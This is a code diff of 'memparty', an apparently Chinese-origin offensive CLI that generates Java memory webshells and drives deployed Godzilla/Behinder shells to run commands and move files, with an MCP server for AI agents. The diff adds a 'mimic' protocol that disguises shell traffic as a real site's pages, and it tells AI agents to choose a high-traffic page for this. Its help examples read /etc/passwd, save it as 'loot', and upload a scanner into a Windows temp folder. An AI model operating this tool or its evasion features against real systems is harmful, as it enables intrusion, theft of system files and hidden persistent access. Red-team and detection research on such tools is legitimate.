+      const options = { profile: "demo", dynamicPath: true };
+      const test = await protocol.test({ conn, common, options });
+      if (!test.ok) throw new Error(`connect failed: ${test.error}`);
+      log(`[3/4] connect ok \u2014 ${test.detail}`);
+      const result = await protocol.exec({ conn, common, options }, opts.cmd);
+      if (!result.ok) throw new Error(`exec failed: ${result.error}`);
+      log(`[4/4] exec ok \u2014 ${JSON.stringify(opts.cmd)} output:`);
+      if (opts.json) {
+        process.stdout.write(
+          `${JSON.stringify({ ok: true, profile, test, exec: result }, null, 2)}
+`
+        );
+      } else {
+        process.stdout.write(`${result.output ?? ""}`);
+        if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
+      }
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+    } finally {
+      await server.close();
+    }
+  });
+}
+
 // src/commands/exec.ts
 import { Option as Option2 } from "commander";
 function parseExtraHeaders2(lines) {
@@ -1892,10 +2529,10 @@ function parseExtraHeaders2(lines) {
 }
 function registerExecCommand(program) {
   program.command("exec").description(
-    "Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
+    "Execute a command on a deployed webshell and print its output"
   ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
-    new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
-  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
+    new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
+  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key", "key").addOption(
     new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
   ).option(
     "--header-name <name>",
@@ -1903,14 +2540,14 @@ function registerExecCommand(program) {
   ).option(
     "--header-value <value>",
     "gate header value reported by gen (shellToolConfig.headerValue)"
-  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
+  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
     "after",
     `
 Examples:
   $ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key \\
-      --header-value qSGAJScj --cmd "whoami"
+      --header-value my-secret-token --cmd "whoami"
   $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
-      --header-value YdwTyuQr --cmd "cat /etc/passwd"
+      --header-value my-secret-token --cmd "cat /etc/passwd"
   $ memparty exec web222 --cmd "whoami"            # saved target, see 'memparty list'
   $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
       --cmd "ipconfig /all" --json
@@ -1932,7 +2569,8 @@ the OS inside its payload, so --os does not apply.
         headerName: opts.headerName,
         headerValue: opts.headerValue,
         extraHeaders: parseExtraHeaders2(opts.header),
-        insecure: opts.insecure
+        insecure: opts.insecure,
+        profile: opts.profile
       });
     } catch (err) {
       reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -1947,28 +2585,23 @@ the OS inside its payload, so --os does not apply.
       insecure: conn.insecure
     };
     let result;
-    switch (conn.tool) {
-      case "godzilla": {
-        const gdzOpts = { ...common, os: opts.os };
-        result = await execGodzilla(
-          conn.url,
-          conn.pass ?? "pass",
-          conn.key ?? "key",
-          opts.cmd,
-          gdzOpts
-        );
-        break;
-      }
-      case "behinder":
-        result = await execBehinder(conn.url, conn.pass ?? "rebeyond", opts.cmd, common);
-        break;
-      default:
-        process.stderr.write(
-          `Error: exec supports godzilla | behinder (got ${String(conn.tool)})
-`
-        );
+    try {
+      const protocol = requireProtocol(conn.tool);
+      if (!protocol.exec) {
+        reportError(unsupportedMessage(protocol, "exec"), opts.json ? ["--json"] : []);
         process.exitCode = 1;
         return;
+      }
+      const options = {
+        os: opts.os,
+        profile: conn.profile,
+        dynamicPath: opts.dynamicPath
+      };
+      result = await protocol.exec({ conn, common, options }, opts.cmd);
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+      return;
     }
     let savedAs;
     if (result.ok && conn.targetName === void 0 && opts.save !== false) {
@@ -2008,11 +2641,11 @@ the OS inside its payload, so --os does not apply.
 }
 
 // src/commands/gen.ts
-import { readFileSync as readFileSync5 } from "fs";
+import { readFileSync as readFileSync6 } from "fs";
 import { Option as Option3 } from "commander";
 
 // src/core/output.ts
-import { writeFileSync as writeFileSync2 } from "fs";
+import { writeFileSync as writeFileSync3 } from "fs";
 var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
 function hasBinaryExtension(path) {
   const lower = path.toLowerCase();
@@ -2024,7 +2657,7 @@ function shouldDecode(opts) {
   return false;
 }
 function emitPayload(payload, opts, sinks = {}) {
-  const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync2(p, d));
+  const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync3(p, d));
   const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
   const decoded = shouldDecode(opts);
   if (opts.outFile) {
@@ -2047,7 +2680,7 @@ function emitPayload(payload, opts, sinks = {}) {
 }
 
 // src/core/request-builder.ts
-import { randomInt } from "crypto";
+import { randomInt as randomInt3 } from "crypto";
 
 // src/core/jdk.ts
 var JDK_VERSIONS = {
@@ -2084,7 +2717,7 @@ var SPRING_GZIP_JDK17_RELATED_PACKERS = /* @__PURE__ */ new Set([
 var UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
 var CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
 function randomChar(chars) {
-  return chars[randomInt(chars.length)];
+  return chars[randomInt3(chars.length)];
 }
 function generateSpringExpressionInjectorClassName() {
   const randomName = Array.from({ length: 5 }, () => randomChar(CLASS_NAME_LETTERS)).join("");
@@ -2153,7 +2786,7 @@ function buildProbeRequest(opts) {
 }
 
 // src/wizard/memshell-wizard.ts
-import { readFileSync as readFileSync4 } from "fs";
+import { readFileSync as readFileSync5 } from "fs";
 import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
 var JDK_CHOICES = [
   { name: "server default", value: "" },
@@ -2221,7 +2854,7 @@ async function runMemShellWizard(client) {
     }
     case "Custom": {
       const file = await input({ message: "Path to custom .class file" });
-      opts.shellClassBase64 = readFileSync4(file).toString("base64");
+      opts.shellClassBase64 = readFileSync5(file).toString("base64");
       break;
     }
     default:
@@ -2262,7 +2895,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
 function toOptions(o) {
   let shellClassBase64 = o.shellClassBase64;
   if (o.shellClassFile) {
-    shellClassBase64 = readFileSync5(o.shellClassFile).toString("base64");
+    shellClassBase64 = readFileSync6(o.shellClassFile).toString("base64");
   }
   return {
     server: o.server,
@@ -2416,8 +3049,8 @@ Examples:
   $ memparty log                          # latest 50 operations
   $ memparty log --category exec          # only command executions
   $ memparty log --category save          # only target saves
-  $ memparty log --target hw222           # everything against project hw222
-  $ memparty log --category exec --target 192.168.31.222 --json
+  $ memparty log --target web1           # everything against project web1
+  $ memparty log --category exec --target 192.0.2.10 --json
 `
   ).action((opts) => {
     const limit = Number.parseInt(opts.limit ?? "50", 10);
@@ -2446,12 +3079,12 @@ Examples:
 // src/mcp/server.ts
 import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
 import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
-import { writeFileSync as writeFileSync3 } from "fs";
+import { writeFileSync as writeFileSync4 } from "fs";
 import { z } from "zod";
 
 // src/core/localfile.ts
-import { existsSync as existsSync3, readFileSync as readFileSync6, statSync } from "fs";
-import { dirname as dirname3, join as join4, resolve } from "path";
+import { existsSync as existsSync4, readFileSync as readFileSync7, statSync } from "fs";
+import { dirname as dirname3, join as join5, resolve } from "path";
 var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
 function remoteBasename(remotePath) {
   const trimmed = remotePath.replace(/[/\\]+$/, "");
@@ -2468,18 +3101,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
       );
     }
     target = name;
-  } else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
+  } else if (existsSync4(localArg) && statSync(localArg).isDirectory()) {
     if (!name) {
       throw new Error(
         `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
       );
     }
-    target = join4(localArg, name);
+    target = join5(localArg, name);
   } else {
     target = localArg;
   }
   const abs = resolve(target);
-  if (existsSync3(abs)) {
+  if (existsSync4(abs)) {
     if (statSync(abs).isDirectory()) {
       throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
     }
@@ -2488,13 +3121,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
     }
   }
   const parent = dirname3(abs);
-  if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
+  if (!existsSync4(parent) || !statSync(parent).isDirectory()) {
     throw new Error(`local directory ${parent} does not exist`);
   }
   return abs;
 }
 function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
-  if (!existsSync3(localPath)) {
+  if (!existsSync4(localPath)) {
     throw new Error(`local file ${localPath} does not exist`);
   }
   const stat = statSync(localPath);
@@ -2506,7 +3139,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
       `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
     );
   }
-  return readFileSync6(localPath);
+  return readFileSync7(localPath);
 }
 
 // src/version.ts
@@ -2979,7 +3612,7 @@ function createMcpServer(client) {
         }
         if (result.ok && result.data !== void 0) {
           try {
-            writeFileSync3(localPath, result.data);
+            writeFileSync4(localPath, result.data);
           } catch (err) {
             result = {
               ...result,
@@ -3272,7 +3905,7 @@ function registerMcpCommand(program) {
 }
 
 // src/commands/parse-classname.ts
-import { readFileSync as readFileSync7 } from "fs";
+import { readFileSync as readFileSync8 } from "fs";
 function registerParseClassNameCommand(program) {
   program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
     "after",
@@ -3285,7 +3918,7 @@ Examples:
   ).action(async (base64, opts, cmd) => {
     let classBase64;
     if (opts.file) {
-      classBase64 = readFileSync7(opts.file).toString("base64");
+      classBase64 = readFileSync8(opts.file).toString("base64");
     } else if (base64) {
       classBase64 = base64.trim();
     } else {
@@ -3490,6 +4123,88 @@ The server name reported by '-c Server' is the value to pass as
   });
 }
 
+// src/commands/profile.ts
+function registerProfileCommand(program) {
+  const cmd = program.command("profile").description("Manage site profiles for the mimic protocol (init / list / show / check)");
+  cmd.command("init").description("Write a skeleton profile JSON for hand-authoring").argument("<name>", "profile name (letters, digits, '.', '_', '-')").requiredOption("--site <origin>", "site origin, e.g. http://target:8080").option("--json", "output raw JSON").action((name, opts) => {
+    try {
+      const profile = profileSkeleton(name, opts.site);
+      saveProfile(profile);
+      if (opts.json) {
+        process.stdout.write(`${JSON.stringify({ ok: true, ...profile }, null, 2)}
+`);
+      } else {
+        process.stdout.write(
+          `profile skeleton written -> ${profilePath(name)}
+now edit it: paste a real page's HTML into "template", set "title",
+and fill "paths" with the site's path vocabulary (e.g. ["/api/", "/news/"]).
+AI agents: read the site's pages yourself and pick a high-traffic,
+self-contained page \u2014 see the "Site-mimicking traffic (mimic protocol)"
+section of the memshell-party skill.
+`
+        );
+      }
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+    }
+  });
+  cmd.command("list").description("List saved profiles").option("--json", "output raw JSON").action((opts) => {
+    const names = listProfiles();
+    if (opts.json) {
+      process.stdout.write(`${JSON.stringify({ profiles: names }, null, 2)}
+`);
+    } else {
+      process.stdout.write(names.length > 0 ? `${names.join("\n")}
+` : "(no profiles yet)\n");
+    }
+  });
+  cmd.command("show").description("Print a saved profile").argument("<name>", "profile name").option("--json", "output raw JSON (default)").action((name) => {
+    try {
+      const profile = loadProfile(name);
+      process.stdout.write(`${JSON.stringify(profile, null, 2)}
+`);
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), []);
+      process.exitCode = 1;
+    }
+  });
+  cmd.command("check").description("Validate a saved profile (schema + basic sanity), exit 0 when valid").argument("<name>", "profile name").option("--json", "output raw JSON").addHelpText(
+    "after",
+    `
+Examples:
+  $ memparty profile check acme
+  $ memparty profile check acme --json
+`
+  ).action((name, opts) => {
+    try {
+      const profile = loadProfile(name);
+      if (opts.json) {
+        process.stdout.write(`${JSON.stringify({ ok: true, name }, null, 2)}
+`);
+      } else {
+        const templates = profileTemplates(profile);
+        const lines = templates.map(
+          (t, i) => `  tpl[${i}]:  ${t.template.length} bytes (${t.contentType}) ${t.title || "(no title)"}`
+        );
+        const shapes = profileRequests(profile).map((r) => `${r.secretField}${r.secretIn && r.secretIn !== "body" ? ` (${r.secretIn})` : ""}`).join(", ");
+        const requestLine = shapes ? `  request:  ${shapes}
+` : "";
+        process.stdout.write(
+          `profile '${name}' is valid
+  site:     ${profile.site}
+${lines.join("\n")}
+` + requestLine + `  paths:    ${profile.paths.join("  ") || "(none \u2014 --dynamic-path will be a no-op)"}
+`
+        );
+      }
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+    }
+  });
+}
+
 // src/commands/target.ts
 import { Option as Option6 } from "commander";
 function parseExtraHeaders3(lines) {
@@ -3546,11 +4261,11 @@ function registerTargetCommand(program) {
     "after",
     `
 Examples:
-  $ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
-      -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\
+  $ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\
+      -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\
       --remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
   $ memparty list                            # show saved targets
-  $ memparty exec hw222/bh9060 --cmd "whoami"
+  $ memparty exec web1/bh9060 --cmd "whoami"
 
 Note: connect/exec already auto-save a verified shell as <host>/<tool>;
 save is for choosing the name by hand.
@@ -3687,7 +4402,7 @@ save is for choosing the name by hand.
 }
 
 // src/commands/transfer.ts
-import { writeFileSync as writeFileSync4 } from "fs";
+import { writeFileSync as writeFileSync5 } from "fs";
 import { Option as Option7 } from "commander";
 function parseExtraHeaders4(lines) {
   const headers = {};
@@ -3759,8 +4474,8 @@ function printResult(result, localPath, savedAs, json) {
   }
 }
 function registerDownloadCommand(program) {
-  program.command("download").description("Download a file from a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
-    new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
+  program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
+    new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
   ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
     "--remote-charset <label>",
     "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
@@ -3775,7 +4490,7 @@ function registerDownloadCommand(program) {
     `
 Examples:
   $ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \\
-      --header-value qSGAJScj /etc/passwd -o loot-passwd
+      --header-value my-secret-token /etc/passwd -o loot-passwd
   $ memparty download web222 C:\\Windows\\win.ini        # saved target
   $ memparty download web222 /var/log/app.log -o logs/ --json
 
@@ -3809,31 +4524,24 @@ is never overwritten unless --force is given.
       return;
     }
     let result;
-    switch (conn.tool) {
-      case "godzilla":
-        result = await downloadGodzilla(
-          conn.url,
-          conn.pass ?? "pass",
-          conn.key ?? "key",
-          remotePath,
-          { ...common, remoteCharset: opts.remoteCharset }
-        );
-        break;
-      case "behinder":
-        result = await downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common);
-        break;
-      default:
-        process.stderr.write(
-          `Error: download supports godzilla | behinder (got ${String(conn.tool)})
-`
-        );
+    try {
+      const protocol = requireProtocol(conn.tool);
+      if (!protocol.download) {
+        reportError(unsupportedMessage(protocol, "download"), opts.json ? ["--json"] : []);
         process.exitCode = 1;
         return;
+      }
+      const options = { remoteCharset: opts.remoteCharset };
+      result = await protocol.download({ conn, common, options }, remotePath);
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+      return;
     }
     let writeError;
     if (result.ok && result.data !== void 0) {
       try {
-        writeFileSync4(localPath, result.data);
+        writeFileSync5(localPath, result.data);
       } catch (err) {
         writeError = `download succeeded but writing ${localPath} failed: ${err instanceof Error ? err.message : String(err)}`;
         result = { ...result, ok: false, error: writeError };
@@ -3857,8 +4565,8 @@ is never overwritten unless --force is given.
   });
 }
 function registerUploadCommand(program) {
-  program.command("upload").description("Upload a local file to a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
-    new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
+  program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
+    new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
   ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
     "--remote-charset <label>",
     "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
@@ -3873,7 +4581,7 @@ function registerUploadCommand(program) {
     `
 Examples:
   $ memparty upload -u http://target/shell.jsp -t behinder --pass rebeyond \\
-      --header-value YdwTyuQr fscan.exe C:\\Windows\\Temp\\f.exe
+      --header-value my-secret-token fscan.exe C:\\Windows\\Temp\\f.exe
   $ memparty upload web222 ./agent.jar /tmp/agent.jar --json
 
 Upload overwrites the remote file (truncate + write). Integrity: godzilla
@@ -3908,27 +4616,19 @@ chunk aborts the transfer \u2014 the remote file may be left partial.
       return;
     }
     let result;
-    switch (conn.tool) {
-      case "godzilla":
-        result = await uploadGodzilla(
-          conn.url,
-          conn.pass ?? "pass",
-          conn.key ?? "key",
-          remotePath,
-          data,
-          { ...common, remoteCharset: opts.remoteCharset }
-        );
-        break;
-      case "behinder":
-        result = await uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common);
-        break;
-      default:
-        process.stderr.write(
-          `Error: upload supports godzilla | behinder (got ${String(conn.tool)})
-`
-        );
+    try {
+      const protocol = requireProtocol(conn.tool);
+      if (!protocol.upload) {
+        reportError(unsupportedMessage(protocol, "upload"), opts.json ? ["--json"] : []);
         process.exitCode = 1;
         return;
+      }
+      const options = { remoteCharset: opts.remoteCharset };
+      result = await protocol.upload({ conn, common, options }, remotePath, data);
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+      return;
     }
     const savedAs = result.ok ? maybeAutoSave(conn, opts) : void 0;
     logOp({
@@ -4093,7 +4793,7 @@ function buildProgram() {
 Quick start:
   $ memparty gen                                   # interactive memory-shell wizard
   $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
-  $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value qSGAJScj
+  $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value my-secret-token
   $ memparty exec 192.0.2.1/godzilla --cmd whoami    # auto-saved by a successful connect
   $ memparty download 192.0.2.1/godzilla /etc/passwd -o passwd
   $ memparty list                                  # saved targets
@@ -4112,6 +4812,8 @@ Every subcommand has its own examples: memparty <command> --help
   registerTargetCommand(program);
   registerLogCommand(program);
   registerParseClassNameCommand(program);
+  registerProfileCommand(program);
+  registerDemoCommand(program);
   registerVersionCommand(program);
   registerMcpCommand(program);
   return program;